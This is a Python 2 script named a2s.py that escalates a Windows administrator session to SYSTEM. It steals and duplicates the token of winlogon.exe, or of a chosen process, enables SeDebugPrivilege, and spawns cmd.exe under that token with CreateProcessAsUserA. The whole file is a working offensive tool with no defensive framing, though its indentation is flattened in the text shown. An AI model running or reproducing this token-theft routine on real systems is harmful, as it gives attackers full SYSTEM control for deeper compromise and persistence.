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a2s.py
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a2s.py
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from ctypes.wintypes import *
from ctypes import *
import wmi
from win32com.client import GetObject
import argparse
import sys
parser = argparse.ArgumentParser(prog="a2s",description='admin2system command execution')
#parser.add_argument("-c",dest="c",required=True,help="command")
parser.add_argument("-pid",dest="pid",help="specify a pid.")
parser.add_argument("--version", action="version", version="%(prog)s 1.0")
args = parser.parse_args()
#https://msdn.microsoft.com/en-us/library/windows/desktop/aa379261%28v=vs.85%29.aspx
class LUID(Structure):
_fields_ = [
("LowPart", DWORD),
("HighPart", LONG),
]
#https://msdn.microsoft.com/en-us/library/windows/desktop/aa379263%28v=vs.85%29.aspx
class LUID_AND_ATTRIBUTES(Structure):
_fields_ = [
("Luid", LUID),
("Attributes", DWORD),
]
#https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630%28v=vs.85%29.aspx
class TOKEN_PRIVILEGES(Structure):
_fields_ = [
("PrivilegeCount", DWORD),
("Privileges", LUID_AND_ATTRIBUTES),
]
#https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873%28v=vs.85%29.aspx
class PROCESS_INFORMATION(Structure):
_fields_ = [
('hProcess', HANDLE),
('hThread', HANDLE),
('dwProcessId', DWORD),
('dwThreadId', DWORD),
]
#https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331%28v=vs.85%29.aspx
class STARTUPINFO(Structure):
_fields_ = [
('cb', DWORD),
('lpReserved', LPSTR),
('lpDesktop', LPSTR),
('lpTitle', LPSTR),
('dwX', DWORD),
('dwY', DWORD),
('dwXSize', DWORD),
('dwYSize', DWORD),
('dwXCountChars', DWORD),
('dwYCountChars', DWORD),
('dwFillAttribute', DWORD),
('dwFlags', DWORD),
('wShowWindow', WORD),
('cbReserved2', WORD),
('lpReserved2', LPVOID),
('hStdInput', HANDLE),
('hStdOutput', HANDLE),
('hStdError', HANDLE),
]
SE_PRIVILEGE_ENABLED = 0x00000002
TOKEN_ADJUST_PRIVILEGES = 0x00000020
TOKEN_QUERY = 0x0008
PROCESS_QUERY_INFORMATION = 0x0400
MAXIMUM_ALLOWED = 0x2000000
SecurityIdentification = 2
TokenPrimary=1
OpenProcessToken=windll.advapi32.OpenProcessToken #https://msdn.microsoft.com/en-us/library/windows/desktop/aa379295%28v=vs.85%29.aspx
LookupPrivilegeValue=windll.advapi32.LookupPrivilegeValueA #https://msdn.microsoft.com/en-us/library/windows/desktop/aa379180%28v=vs.85%29.aspx
AdjustTokenPrivileges=windll.advapi32.AdjustTokenPrivileges #https://msdn.microsoft.com/en-us/library/windows/desktop/aa375202%28v=vs.85%29.aspx
GetCurrentProcess= windll.kernel32.GetCurrentProcess() #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179%28v=vs.85%29.aspx
OpenProcess=windll.kernel32.OpenProcess #https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320%28v=vs.85%29.aspx
DuplicateTokenEx=windll.advapi32.DuplicateTokenEx #https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617%28v=vs.85%29.aspx
ImpersonateLoggedOnUser=windll.advapi32.ImpersonateLoggedOnUser #https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612%28v=vs.85%29.aspx
CreateProcessAsUserA=windll.advapi32.CreateProcessAsUserA #https://msdn.microsoft.com/en-us/library/windows/desktop/ms682429%28v=vs.85%29.aspx
def EnablePrivilege(privilegeStr, htoken=None):
if htoken == None:
htoken = HANDLE()
OpenProcessToken(GetCurrentProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(htoken) )
privilege_id = LUID()
LookupPrivilegeValue(None, privilegeStr, byref(privilege_id))
laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
tp = TOKEN_PRIVILEGES(1, laa)
AdjustTokenPrivileges(htoken, False, byref(tp), sizeof(tp), None, None)
def get_winlogon_pid():
WMI = GetObject('winmgmts:')
processes = WMI.InstancesOf('Win32_Process')
for process in processes:
if process.Properties_('name').Value=="winlogon.exe":
winlogon=process.Properties_('processid').Value
return winlogon
def get_system_token():
if args.pid:
process = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(args.pid))
else:
process = OpenProcess(PROCESS_QUERY_INFORMATION, False, get_winlogon_pid())
token = HANDLE()
OpenProcessToken(process, MAXIMUM_ALLOWED, byref(token))
windll.kernel32.CloseHandle(process) #https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211%28v=vs.85%29.aspx
return token
def IsAdmin():
value=windll.Shell32.IsUserAnAdmin() #https://msdn.microsoft.com/en-us/library/windows/desktop/bb776463%28v=vs.85%29.aspx
return value
def duplicateTokenPrimary(token):
newToken = HANDLE()
DuplicateTokenEx(token, MAXIMUM_ALLOWED, None, SecurityIdentification, TokenPrimary, byref(newToken))
windll.kernel32.CloseHandle(token)
return newToken.value
value=IsAdmin()
if value==0:
print "No administrator rights."
sys.exit(-1)
#Required to debug and adjust the memory of a process owned by another account.
EnablePrivilege("SeDebugPrivilege")
htoken=get_system_token()
dupToken=duplicateTokenPrimary(htoken)
print dupToken
#Required to assign the primary token of a process. (Replace a process-level token, in this case with the SYSTEM)
EnablePrivilege("SeAssignPrimaryTokenPrivilege",htoken=dupToken)
ImpersonateLoggedOnUser(dupToken)
lpProcessInformation = PROCESS_INFORMATION()
lpStartupInfo = STARTUPINFO()
lpStartupInfo.lpReserved=None
lpStartupInfo.lpDesktop="winsta0\default"
lpStartupInfo.lpTitle="Admin2System"
lpStartupInfo.dwX=500
lpStartupInfo.dwY=500
#The new process has a new console, instead of inheriting its parent's console (the default)
CREATE_NEW_CONSOLE = 0x00000010
cmd=r"c:\windows\system32\cmd.exe"
#if args.c:
ret=CreateProcessAsUserA(dupToken, cmd, None, None, None, True, CREATE_NEW_CONSOLE, None, None, byref(lpStartupInfo), byref(lpProcessInformation))
if ret==0:
print "Create process failed."
else:
print "Create process succeed."
windll.advapi32.RevertToSelf() #The RevertToSelf terminates the impersonation
windll.kernel32.CloseHandle(dupToken)